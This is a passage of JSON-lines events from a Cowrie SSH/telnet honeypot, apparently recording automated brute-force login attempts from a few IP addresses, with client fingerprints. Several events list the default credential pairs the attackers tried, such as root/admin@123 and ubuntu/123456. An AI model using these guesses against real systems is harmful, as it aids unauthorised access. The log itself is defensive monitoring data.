0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:00.191066Z","src_ip":"45.156.87.254","session":"731187a6a692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:00.524273Z","src_ip":"45.156.87.254","session":"731187a6a692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:01.617224Z","src_ip":"45.156.87.254","session":"731187a6a692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":57200,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a97b463dfc","protocol":"telnet","message":"New connection: 20.123.41.163:57200 (10.17.0.5:23) [session: 53a97b463dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:04.813683Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39966,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc78fb206189","protocol":"ssh","message":"New connection: 45.156.87.254:39966 (159.203.135.109:22) [session: bc78fb206189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:05.807978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:05.813709Z","src_ip":"45.156.87.254","session":"bc78fb206189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:05.903010Z","src_ip":"45.156.87.254","session":"bc78fb206189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:06.168993Z","src_ip":"45.156.87.254","session":"bc78fb206189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:07.256234Z","src_ip":"45.156.87.254","session":"bc78fb206189","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.3723084926605225,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:08.185872Z","src_ip":"20.123.41.163","session":"53a97b463dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45092,"dst_ip":"159.203.135.109","dst_port":22,"session":"41421e320984","protocol":"ssh","message":"New connection: 45.156.87.254:45092 (159.203.135.109:22) [session: 41421e320984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:11.415475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:11.421643Z","src_ip":"45.156.87.254","session":"41421e320984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:11.510381Z","src_ip":"45.156.87.254","session":"41421e320984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:11.768386Z","src_ip":"45.156.87.254","session":"41421e320984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:12.855685Z","src_ip":"45.156.87.254","session":"41421e320984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.37211298942566,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:15.503500Z","src_ip":"20.123.41.163","session":"a94cd52704df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45114,"dst_ip":"159.203.135.109","dst_port":22,"session":"9190914ed634","protocol":"ssh","message":"New connection: 45.156.87.254:45114 (159.203.135.109:22) [session: 9190914ed634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:16.402247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:16.407348Z","src_ip":"45.156.87.254","session":"9190914ed634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:16.594116Z","src_ip":"45.156.87.254","session":"9190914ed634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:16.997431Z","src_ip":"45.156.87.254","session":"9190914ed634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:18.091053Z","src_ip":"45.156.87.254","session":"9190914ed634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51776,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dcfb721c3ca","protocol":"ssh","message":"New connection: 45.156.87.254:51776 (159.203.135.109:22) [session: 6dcfb721c3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:20.650874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:20.655533Z","src_ip":"45.156.87.254","session":"6dcfb721c3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:20.747481Z","src_ip":"45.156.87.254","session":"6dcfb721c3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nobody","password":"nobody","message":"login attempt [nobody/nobody] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:21.269410Z","src_ip":"45.156.87.254","session":"6dcfb721c3ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:22.354525Z","src_ip":"45.156.87.254","session":"6dcfb721c3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.75.45.52","src_port":41732,"dst_ip":"159.203.135.109","dst_port":23,"session":"e85216f95960","protocol":"telnet","message":"New connection: 116.75.45.52:41732 (159.203.135.109:23) [session: e85216f95960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:23.609116Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51792,"dst_ip":"159.203.135.109","dst_port":22,"session":"10ee5c8f2d52","protocol":"ssh","message":"New connection: 45.156.87.254:51792 (159.203.135.109:22) [session: 10ee5c8f2d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:25.080073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:25.085237Z","src_ip":"45.156.87.254","session":"10ee5c8f2d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:25.168138Z","src_ip":"45.156.87.254","session":"10ee5c8f2d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:25.426572Z","src_ip":"45.156.87.254","session":"10ee5c8f2d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:26.514032Z","src_ip":"45.156.87.254","session":"10ee5c8f2d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50008,"dst_ip":"10.17.0.5","dst_port":23,"session":"b053fa487102","protocol":"telnet","message":"New connection: 20.123.41.163:50008 (10.17.0.5:23) [session: b053fa487102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:26.662626Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50022,"dst_ip":"10.17.0.5","dst_port":23,"session":"5926a0b99a41","protocol":"telnet","message":"New connection: 20.123.41.163:50022 (10.17.0.5:23) [session: 5926a0b99a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:26.952186Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39196,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4f805b0436a","protocol":"ssh","message":"New connection: 45.156.87.254:39196 (159.203.135.109:22) [session: d4f805b0436a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:29.721336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:29.725812Z","src_ip":"45.156.87.254","session":"d4f805b0436a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:29.808462Z","src_ip":"45.156.87.254","session":"d4f805b0436a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:30.058364Z","src_ip":"45.156.87.254","session":"d4f805b0436a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:31.143247Z","src_ip":"45.156.87.254","session":"d4f805b0436a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.149974822998047,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:32.102005Z","src_ip":"20.123.41.163","session":"5926a0b99a41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39208,"dst_ip":"159.203.135.109","dst_port":22,"session":"8246b6761b70","protocol":"ssh","message":"New connection: 45.156.87.254:39208 (159.203.135.109:22) [session: 8246b6761b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:34.107450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:34.112137Z","src_ip":"45.156.87.254","session":"8246b6761b70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:34.195557Z","src_ip":"45.156.87.254","session":"8246b6761b70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:34.460126Z","src_ip":"45.156.87.254","session":"8246b6761b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:35.614145Z","src_ip":"45.156.87.254","session":"8246b6761b70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.36457085609436,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:35.973594Z","src_ip":"116.75.45.52","session":"e85216f95960","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39218,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8599fd31847","protocol":"ssh","message":"New connection: 45.156.87.254:39218 (159.203.135.109:22) [session: e8599fd31847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:38.263339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:43:38.269025Z","src_ip":"45.156.87.254","session":"e8599fd31847","protocol":"ssh"}
